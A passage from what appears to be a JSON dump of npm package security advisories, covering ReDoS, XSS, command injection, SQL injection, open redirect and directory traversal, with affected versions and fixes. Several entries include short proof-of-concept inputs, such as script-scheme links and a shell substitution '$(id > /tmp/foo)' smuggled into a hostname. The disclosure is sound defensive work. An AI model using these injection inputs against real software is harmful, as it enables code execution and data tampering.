https://www.npmjs.com/package/jquery-ujs\n- rubyonrails-security: https://groups.google.com/forum/#!msg/rubyonrails-security/XIZPbobuwaY/fqnzzpuOlA4J\n- github: https://github.com/rails/jquery-ujs","legacy_slug":"jquery_ujs_csrf","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":31,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-21T00:12:09+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"semver","publish_date":"2015-04-04T02:00:00+00:00","cves":["CVE-2015-8855"],"vulnerable_versions":"<4.3.2","patched_versions":">=4.3.2","slug":"semver_regular-expression-denial-of-service","overview":"semver is vulnerable to regular expression denial of service ([ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS)) when extremely long version strings are parsed.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]","recommendation":"Update to a version 4.3.2 or greater","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS\n- https://github.com/npm/npm/releases/tag/v2.7.5","legacy_slug":"semver_redos","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":17,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:39:15+00:00","title":"Verification Bypass","author":"Tim McLean","module_name":"jsonwebtoken","publish_date":"2015-04-01T02:00:00+00:00","cves":[],"vulnerable_versions":"<4.2.2","patched_versions":">=4.2.2","slug":"jsonwebtoken_verification-bypass","overview":"It is possible for an attacker to bypass verification when \"a token digitally signed with an asymetric key (RS/ES family) of algorithms but instead the attacker send a token digitally signed with a symmetric algorithm (HS* family)\" [1]","recommendation":"Update to a version 4.2.2 or greater","references":"- [1] https://github.com/auth0/node-jsonwebtoken/commit/1bb584bc382295eeb7ee8c4452a673a77a68b687\n- https://www.timmclean.net/2015/02/25/jwt-alg-none.html\n- https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/","legacy_slug":"jsonwebtoken_verification_bypass","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_score":7.5},{"id":34,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:51:25+00:00","title":"Cross-Site Scripting","author":"Ivan Kozik","module_name":"serve-index","publish_date":"2015-03-14T05:24:28+00:00","cves":["CVE-2015-8856"],"vulnerable_versions":"<1.6.3","patched_versions":">=1.6.3","slug":"serve-index_cross-site-scripting","overview":"When using serve-index middleware version < 1.6.3 file and directory names are not escaped in HTML output. If remote users can influence file or directory names, this can trigger a persistent XSS attack.","recommendation":"* Update to version 1.6.3 or greater","references":"- https://github.com/expressjs/serve-index/issues/28\n- https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29","legacy_slug":"serve-static-xss","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":23,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-21T00:10:06+00:00","title":"Regular Expression Denial of Service","author":"Barış Soner Uşaklı","module_name":"marked","publish_date":"2015-01-22T17:33:48+00:00","cves":["CVE-2015-8854"],"vulnerable_versions":"<=0.3.3","patched_versions":">=0.3.4","slug":"marked_regular-expression-denial-of-service","overview":"Marked 0.3.3 and earlier is vulnerable to regular expression denial of service (ReDoS) when certain types of input are passed in to be parsed.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\nMarked's catastrophic backtracking issue for the `em` inline rule has now been patched in 0.3.4.","recommendation":"Update to marked v0.3.4 or later.","references":"- [1] https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS\n- https://github.com/chjj/marked/issues/497","legacy_slug":"marked_redos","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":24,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:56:14+00:00","title":"VBScript Content Injection","author":"Xiao Long","module_name":"marked","publish_date":"2015-01-22T17:33:48+00:00","cves":["CVE-2015-1370"],"vulnerable_versions":"<=0.3.2","patched_versions":">=0.3.3","slug":"marked_vbscript-content-injection","overview":"Marked 0.3.2 and earlier is vulnerable to content injection even when `sanitize: true` is enabled.\n\n`[xss link](vbscript:alert(1))`\n\nwill get a link\n\n`<a href=\"vbscript:alert(1)\">xss link</a>`\n\nthis script does not work in IE 11 edge mode, but works in IE 10 compatibility view.","recommendation":"Update to version 0.3.3 or greater.","references":"- https://github.com/chjj/marked/issues/492","legacy_slug":"marked_vbscript_injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":40,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:01:54+00:00","title":"Command Injection","author":"CodingTwinky","module_name":"ungit","publish_date":"2015-01-22T17:33:48+00:00","cves":["CVE-2015-4130"],"vulnerable_versions":"<=0.8.4","patched_versions":">=0.9.0","slug":"ungit_command-injection","overview":"Due to the use of `child_process.exec` when executing git commands, ungit allows for commands to be injection from user input fields that end up in an executed git command.","recommendation":"Update to the version >=0.9.0","references":"- https://github.com/FredrikNoren/ungit/issues/486","legacy_slug":"ungit-command-injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":33,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:02:59+00:00","title":"SQL Injection","author":"Levan Basharuli","module_name":"sequelize","publish_date":"2015-01-19T06:00:00+00:00","cves":["CVE-2015-1369"],"vulnerable_versions":"<=2.0.0-rc7","patched_versions":">=2.0.0-rc8","slug":"sequelize_sql-injection","overview":"SQL Injection is possible in an application using the npm module sequelize if untrusted user input is passed into the order parameter.\n\n\nExample:\n```\nTest.findAndCountAll({\nwhere: { id :1 },\norder : [['id', 'UNTRUSTED USER INPUT']]\n})\n```","recommendation":"Update to version 2.0.0-rc8 or greater.","references":"- https://github.com/sequelize/sequelize/issues/2906","legacy_slug":"sequelize-sql-injection-order","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":35,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:08:45+00:00","title":"Open Redirect","author":"Pierre-Élie Fauché","module_name":"serve-static","publish_date":"2015-01-13T22:50:48+00:00","cves":["CVE-2015-1164"],"vulnerable_versions":"<1.6.5 || >=1.7.0 <1.7.2","patched_versions":"~1.6.5 || >=1.7.2","slug":"serve-static_open-redirect","overview":"When using serve-static middleware version < 1.7.2 and it's configured to mount at the root it creates an open redirect on the site.\n\nFor example:\nIf a user visits `http://example.com//www.google.com/%2e%2e` they will be redirected to `//www.google.com/%2e%2e`, which some browsers interpret as `http://www.google.com/%2e%2e`.","recommendation":"* Update to version 1.7.2 or greater (or 1.6.5 if sticking to the 1.6.x line).\n * Disable redirects if not using the feature with 'redirect: false' option and cannot upgrade.","references":"- https://github.com/expressjs/serve-static/issues/26\n- https://www.owasp.org/index.php/Open_redirect","legacy_slug":"serve-static-open-redirect","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":14,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:17:13+00:00","title":"Hidden Directories Always Served","author":"Gil Pedersen","module_name":"inert","publish_date":"2014-12-16T03:13:48+00:00","cves":[],"vulnerable_versions":"<1.1.1","patched_versions":">=1.1.1","slug":"inert_hidden-directories-always-served","overview":"The inert directory handler always allows files in hidden directories to be served, even when `showHidden` is false.","recommendation":"Update to version >= 1.1.1.","references":"- https://github.com/hapijs/inert/pull/15\n- https://github.com/hapijs/inert/commit/e8f99f94da4cb08e8032eda984761c3f111e3e82","legacy_slug":"inert_hidden_directories_always_served","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":26,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:26:06+00:00","title":"Validation Bypass","author":"Martin Angelov","module_name":"paypal-ipn","publish_date":"2014-12-03T13:00:00+00:00","cves":[],"vulnerable_versions":"<3.0.0","patched_versions":">=3.0.0","slug":"paypal-ipn_validation-bypass","overview":"paypal-ipn uses the `test_ipn` parameter (which is set by the PayPal IPN simulator) to determine if it should use the production PayPal site or the sandbox.\n\n\"With a bit of time, an attacker could craft a request using the simulator that would fool any application which does not explicitly check for test_ipn in production.\" [1]","recommendation":"- Upgrade to version 3.0.0 or greater.","references":"- [1] https://github.com/andzdroid/paypal-ipn/issues/11","legacy_slug":"paypal-ipn-validation-bypass","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":9,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:23:46+00:00","title":"Directory Traversal","author":"Adam Baldwin","module_name":"fancy-server","publish_date":"2014-11-15T04:00:48+00:00","cves":[],"vulnerable_versions":"<0.1.4","patched_versions":">=0.1.4","slug":"fancy-server_directory-traversal","overview":"Versions less than 0.1.4 of the static file server module fancy-server are vulnerable to directory traversal. An attacker can provide input such as `../` to read files outside of the served directory.","recommendation":"Upgrade to version 0.1.4 or greater.","references":"- http://en.wikipedia.org/wiki/Directory_traversal_attack","legacy_slug":"fancy-server-directory-traversal","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":25,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:24:31+00:00","title":"Directory Traversal","author":"Riku Keski-Keturi","module_name":"nhouston","publish_date":"2014-11-14T09:30:48+00:00","cves":["CVE-2014-8883"],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"nhouston_directory-traversal","overview":"All versions of the static file server module nhouston are vulnerable to directory traversal. An attacker can provide input such as `../` to read files outside of the served directory.","recommendation":"It is recommended that a different module be used, as we have been unable to reacher the maintainer of this module. We will continue to reach out to them, and if an update becomes available that fixes the issue, we will update this advisory accordingly.","references":"- http://en.wikipedia.org/wiki/Directory_traversal_attack","legacy_slug":"nhouston-directory-traversal","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":30,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:43:18+00:00","title":"Content Injection","author":"Adam Baldwin","module_name":"remarkable","publish_date":"2014-11-13T20:33:48+00:00","cves":[],"vulnerable_versions":"<1.4.1","patched_versions":">=1.4.1","slug":"remarkable_content-injection","overview":"Certain input when passed into remarkable will bypass the bad prototcol check that disallows the javascript: scheme allowing for javascript: url's to be injected into the rendered content.\n\n### Example\n\n```\n[link](<javascript:alert(1)>)\n```\nThis will be turned into `<a href=\"javascript:alert(1)\">link</a>`\n\nwhere as\n\n```\n[link](javascript:alert(1))\n```\n\nWould be rendered as `[link](javascript:alert(1))` because it's an invalid scheme.","recommendation":"Upgrade to version 1.4.1 or greater","references":"- https://github.com/jonschlinkert/remarkable/issues/97","legacy_slug":"remarkable_content_injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":42,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:40:14+00:00","title":"Regular Expression Denial of Service","author":"Karl Düüna","module_name":"validator","publish_date":"2014-11-12T19:45:48+00:00","cves":["CVE-2014-8882"],"vulnerable_versions":"<3.22.1","patched_versions":">=3.22.1","slug":"validator_regular-expression-denial-of-service","overview":"The validator module, versions < 3.22.1 are vulnerable to Regular Expression Denial of Service ([ReDoS](http://en.wikipedia.org/wiki/ReDoS)) in the isURL method.","recommendation":"Update to version 3.22.1 or greater.","references":"- [Analysis of Node.js platform web application security (pdf)](http://lab.cs.ttu.ee/dl93)\n- https://github.com/chriso/validator.js/issues/152#issuecomment-48107184\n- http://en.wikipedia.org/wiki/ReDoS","legacy_slug":"validator-isurl-denial-of-service","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":6,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:59:12+00:00","title":"Command Injection","author":"Steve Kemp","module_name":"dns-sync","publish_date":"2014-11-12T03:33:48+00:00","cves":[],"vulnerable_versions":"<0.1.1","patched_versions":">=0.1.1","slug":"dns-sync_command-injection","overview":"The dns-sync library for node.js allows resolving hostnames in a synchronous fashion\n\nAll versions of dns-sync prior to the release 0.1.1 were vulnerable to arbitrary command execution via maliciously formed hostnames.\n\nFor example:\n\n var dnsSync = require('dns-sync');\n console.log(dnsSync.resolve('$(id > /tmp/foo)'));\n\nThis is caused by the hostname being passed through a shell as part of a command execution.","recommendation":"Updated to version 0.1.1 or greater","references":"- [Github Issue](https://github.com/skoranga/node-dns-sync/issues/1)\n- [Commit addressing issue](https://github.com/skoranga/node-dns-sync/commit/d9abaae384b198db1095735ad9c1c73d7b890a0d)","legacy_slug":"dns-sync-command-injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":43,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:02:23+00:00","title":"XSS Filter Bypass via Encoded URL","author":"taku0","module_name":"validator","publish_date":"2014-10-27T17:33:48+00:00","cves":["CVE-2014-9772"],"vulnerable_versions":"<2.0.0","patched_versions":">=2.0.0","slug":"validator_xss-filter-bypass-via-encoded-url","overview":"The validator module for Node.js contains functionality meant to filter potential XSS attacks (a filter called xss). A method of\nbypassing the filter via an encoded URL has been publicly disclosed. In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Developers are encouraged not to use the xss filter function in this package.\n\n### Details:\nThe xss() function removes the word \"javascript\" when contained inside an attribute. However, it does not properly handle cases where\ncharacters have been hex-encoded. As a result, it is possible to build an input that bypasses the filter but which the browser will accept as valid JavaScript.\n\nFor example, browsers interpret `<a href=\"javascript:...\">abc</a>` as `<a href=\"javascript:...\">abc</a>`.","recommendation":"Upgrade to the latest version of this library. However, it should be noted that the fix for this vulnerability was to remove the xss filter functionality. Seek another library to provide proper output encoding.","references":"- https://github.com/chriso/validator.js/issues/181\n- Related advisory","legacy_slug":"validator_XSS_Filter_Bypass_via_Encoded_URL","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":1,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:16:19+00:00","title":"Arbitrary JavaScript Execution","author":"Jarda Kotěšovec","module_name":"bassmaster","publish_date":"2014-09-27T16:44:48+00:00","cves":["CVE-2014-7205"],"vulnerable_versions":"<=1.5.1","patched_versions":">=1.5.2","slug":"bassmaster_arbitrary-javascript-execution","overview":"A vulnerability exists in bassmaster <= 1.5.1 that allows for an attacker to provide arbitrary JavaScript that is then executed server side via eval.","recommendation":"Update to bassmaster version 1.5.2 or greater.","references":"- https://www.npmjs.org/package/bassmaster\n- https://github.com/hapijs/bassmaster/commit/b751602d8cb7194ee62a61e085069679525138c4","legacy_slug":"bassmaster_js_injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":32,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:40:21+00:00","title":"Directory Traversal","author":"Ilya Kantor","module_name":"send","publish_date":"2014-09-12T15:06:33+00:00","cves":["CVE-2014-6394"],"vulnerable_versions":"< 0.8.4","patched_versions":">= 0.8.4","slug":"send_directory-traversal","overview":"When relying on the root option to restrict file access it may be possible for an application consumer to escape out of the restricted directory and access files in a similarly named directory. For example, `static(_dirname + '/public')` would allow access to `_dirname + '/public-restricted'`.","recommendation":"Upgrade to a version greater than or equal to 0.8.4.","references":"- https://github.com/visionmedia/send/pull/59\n- https://github.com/visionmedia/send/commit/9c6ca9b2c0b880afd3ff91ce0d211213c5fa5f9a","legacy_slug":"send-directory-traversal","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cvss_score":4.3},{"id":8,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:39:38+00:00","title":"No Charset in Content-Type Header","author":"Paweł Hałdrzyński","module_name":"express","publish_date":"2014-09-12T14:46:45+00:00","cves":["CVE-2014-6393"],"vulnerable_versions":"<3.11 || >= 4 <4.5","patched_versions":">=3.11 <4 || >=4.5","slug":"express_no-charset-in-content-type-header","overview":"Vulnerable versions of express do not specify a charset field in the content-type header while displaying 400 level response messages. The lack of enforcing user's browser to set correct charset, could be leveraged by an attacker to perform a cross-site scripting attack, using non-standard encodings, like UTF-7.","recommendation":"Update express to a patched version.","references":null,"legacy_slug":"express-no-charset-in-content-type-header","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","cvss_score":5.4},{"id":28,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:44:22+00:00","title":"Denial-of-Service Extended Event Loop Blocking","author":"Tom Steele","module_name":"qs","publish_date":"2014-08-06T17:10:23+00:00","cves":[],"vulnerable_versions":"<1.0.0","patched_versions":">= 1.x","slug":"qs_denial-of-service-extended-event-loop-blocking","overview":"The qs module does not have an option or default for specifying object depth and when parsing a string representing a deeply nested object will block the event loop for long periods of time. An attacker could leverage this to cause a temporary denial-of-service condition, for example, in a web application, other requests would not be processed while this blocking is occurring.","recommendation":"Update qs to version 1.0.0 or greater","references":null,"legacy_slug":"qs_dos_extended_event_loop_blocking","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","cvss_score":6.5},{"id":29,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:48:57+00:00","title":"Denial-of-Service Memory Exhaustion","author":"Dustin Shiver","module_name":"qs","publish_date":"2014-08-06T17:10:22+00:00","cves":["CVE-2014-7191"],"vulnerable_versions":"<1.0.0","patched_versions":">= 1.x","slug":"qs_denial-of-service-memory-exhaustion","overview":"The qs module has the ability to create sparse arrays during parsing. By specifying a high index it is possible to create a large array that will eventually take up all the allocated memory of the running process, resulting in a crash.","recommendation":"Update qs to version 1.0.0 or greater","references":"- https://github.com/visionmedia/node-querystring/issues/104","legacy_slug":"qs_dos_memory_exhaustion","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":4,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:56:42+00:00","title":"CORS Token Disclosure","author":"Marcus Stong","module_name":"crumb","publish_date":"2014-08-01T16:40:57+00:00","cves":[],"vulnerable_versions":"<3.0.0","patched_versions":">=3.0.0","slug":"crumb_cors-token-disclosure","overview":"When CORS is enabled on a hapi route handler, it is possible to set a crumb token for a different domain. An attacker would need to have an application consumer visit a site they control, request a route supporting CORS, and then retrieve the token. With this token, they could possibly make requests to non CORS routes as this user.\n\nA configuration and scenario where this would occur is unlikely, as most configurations will set CORS globally (where crumb is not used), or not at all.","recommendation":"Update to a version 3.0.0 or greater.","references":"- https://github.com/spumko/crumb/commit/5e6d4f5c81677fe9e362837ffd4a02394303db3c","legacy_slug":"crumb_cors_token_disclosure","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L","cvss_score":5.4}]}
+\ No newline at end of file
